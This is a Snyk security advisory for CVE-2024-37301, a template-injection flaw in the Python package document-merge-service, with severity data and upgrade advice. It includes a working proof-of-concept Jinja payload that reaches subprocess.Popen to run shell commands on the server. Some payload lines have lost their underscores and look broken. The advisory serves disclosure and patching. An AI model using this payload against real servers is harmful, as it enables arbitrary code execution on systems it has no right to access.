Improper Neutralization of Special Elements Used in a Template Engine Affecting document-merge-service package, versions [,6.5.2)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (11th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-DOCUMENTMERGESERVICE-7247198
  • published12 Jun 2024
  • disclosed11 Jun 2024
  • creditc0rydoras

Introduced: 11 Jun 2024

CVE-2024-37301  (opens in a new tab)
CWE-1336  (opens in a new tab)

How to fix?

Upgrade document-merge-service to version 6.5.2 or higher.

Overview

document-merge-service is a Merge Document Template Service

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements Used in a Template Engine in the server's context, where it is executed as the user with the UID 901. An attacker can execute arbitrary code on the server by injecting malicious templates.

PoC

Add the following to a document, upload and render it:

{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}

whoami: {{ PLACEHOLDER.class.mro[1].subclasses()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}

uname -a: {{ PLACEHOLDER.class.mro[1].subclasses()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}

{% endif %}

The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.

CVSS Scores

version 3.1